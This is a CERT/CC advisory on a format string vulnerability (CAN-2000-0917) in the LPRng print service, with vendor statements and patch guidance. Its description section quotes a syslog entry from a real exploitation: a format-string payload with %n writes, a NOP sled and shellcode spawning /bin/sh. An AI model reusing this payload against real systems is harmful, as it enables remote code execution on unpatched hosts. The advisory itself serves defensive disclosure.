CERT Advisory CA-2000-22 Input Validation Problems in LPRng

Original release date: December 12, 2000
Last updated: January 27, 2003
Source: CERT/CC

A complete revision history is at the end of this file.

Systems Affected

- Systems running unpatched LPRng software

Overview

A popular replacement software package to the BSD lpd printing service called LPRng contains at least one software defect, known as a "format string vulnerability," [1] which may allow remote users to execute arbitrary code on vulnerable systems.

I. Description

LPRng, now being packaged in several open-source operating system distributions, has a missing format string argument in at least two calls to the *syslog()* function.

Missing format strings in function calls allow user-supplied arguments to be passed to a susceptible _*snprintf()_ function call. Remote users with access to the printer port (port 515/tcp) may be able to pass format-string parameters that can overwrite arbitrary addresses in the printing service's address space. Such overwriting can cause segmentation violations leading to denial of printing services or to the execution of arbitrary code injected through other means into the memory segments of the printer service.

Sample syslog entries from successful exploitation of this vulnerability have been reported, as follows:

```
Nov 26 10:01:00 foo SERVER[12345]: Dispatch_input: bad request line
'BB{E8}{F3}{FF}{BF}{E9}{F3}{FF}{BF}{EA}{F3}{FF}{BF}{EB}{F3}{FF}{BF}
XXXXXXXXXXXXXXXXXX%.168u%300$nsecurity.%301 $nsecurity%302$n%.192u%303$n
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}
1{DB}1{C9}1{C0}{B0}F{CD}{80}{89}{E5}1{D2}{B2}f{89}{D0}1{C9}{89}{CB}C{89}
]{F8}C{89}]{F4}K{89}M{FC}{8D}M{F4}{CD}{80}1{C9}{89}E{F4}Cf{89}]{EC}f{C7}
E{EE}{F}'{89}M{F0}{8D}E{EC}{89}E{F8}{C6}E{FC}{10}{89}{D0}{8D}
M{F4}{CD}{80}{89}{D0}CC{CD}{80}{89}{D0}C{CD}{80}{89}{C3}1{C9}{B2}
?{89}{D0}{CD}{80}{89}{D0}A{CD}{80}{EB}{18}^{89}u{8}1{C0}{88}F{7}{89}
E{C}{B0}{B}{89}{F3}{8D}M{8}{8D}U{C}{CD}{80}{E8}{E3}{FF}{FF}{FF}/bin/sh{A}'
```

This vulnerability has been assigned the identifier CAN-2000-0917 by the Common Vulnerabilities and Exposures (CVE) group:

> http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0917

The CERT/CC has received reports of extensive probing to port 515/tcp. In addition, we have received some reports of systems compromised using this vulnerability. Tools exploiting this vulnerability have been posted to public forums.

II. Impact

A remote user may be able to execute arbitrary code with elevated privileges.

In addition, the printing service may be disrupted or disabled entirely.

III. Solution

Apply a patch from your vendor

Upgrade to a non-vulnerable version of LPRng (3.6.25), as described in the vendor sections below. Alternately, you can obtain the version of LPRng which fixes the missing format string at:

ftp://ftp.astart.com/pub/LPRng/LPRng/LPRng-3.6.25.tgz

Disallow access to printer service ports (typically 515/tcp) using firewall or packet-filtering technologies

Blocking access to the vulnerable service will limit your exposure to attacks from outside your network perimeter. However, the vulnerability would still allow local users to gain privileges they normally shouldn't have; in addition, blocking port 515/tcp at a network perimeter would still allow any remote user inside the perimeter to exploit the vulnerability.

Appendix A. Vendor Information

Apple

Apple has conducted an investigation and determined that Mac OS X Public Beta and Mac OS X Server do not use LPRng and are therefore not vulnerable to this exploitation.

Caldera OpenLinux

See CSSA-2000-033.0 "format bug in LPRng" at:

http://www.calderasystems.com/support/security/advisories/CSSA-2000-033.0.txt

Compaq Computer Corporation

Compaq Tru64 UNIX S/W is not vulnerable.

FreeBSD

FreeBSD does not include LPRng in the base system. Older versions of FreeBSD included a vulnerable version of LPRng in the Ports Collection but this was corrected almost 2 months ago, prior to the release of FreeBSD 4.2. See FreeBSD Security Advisory 00:56 (ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:56.lprng.asc) for more information.

Hewlett-Packard Company

This does not apply to HP; HP does not ship LPRng on HP-UX.

IBM

IBM's AIX operating system is not vulnerable to this security exploit.

Microsoft Corporation

Microsoft doesn't use LPRng in any of its products, so no Microsoft products are affected by the vulnerability.

NetBSD

NetBSD does not include LPRng in the base system; however we do have a third-party package of LPRng-3.6.8 which is vulnerable. There's work underway to upgrade it to a non-vulnerable version.

OpenBSD

OpenBSD does not ship lprng.

RedHat

LPRng Version 3.6.24 and earlier is vulnerable.

See RHSA-2000:065 at:

http://www.redhat.com/support/errata/RHSA-2000-065.html

SGI

IRIX does not contain LPRng support.

SuSE

SuSE is not vulnerable. Please see additional comments at:

http://lists.suse.com/archives/suse-security/2000-Sep/0259.html

References

1. *VU#382365: LPRng can pass user-supplied input as a format string parameter to syslog() calls,* CERT/CC, 10/06/2000, http://www.kb.cert.org/vuls/id/382365

The CERT Coordination Center thanks Chris Evans for his initial report on the vulnerability described in this advisory.

Author: This document was written by Jeffrey S Havrilla.
Feedback on this advisory is appreciated.

Revision History

```
Dec 12, 2000: Initial Release
Dec 12, 2000: Updated name anchor for reference #1
Jan 27, 2003: Updated URL in Red Hat vendor statement
```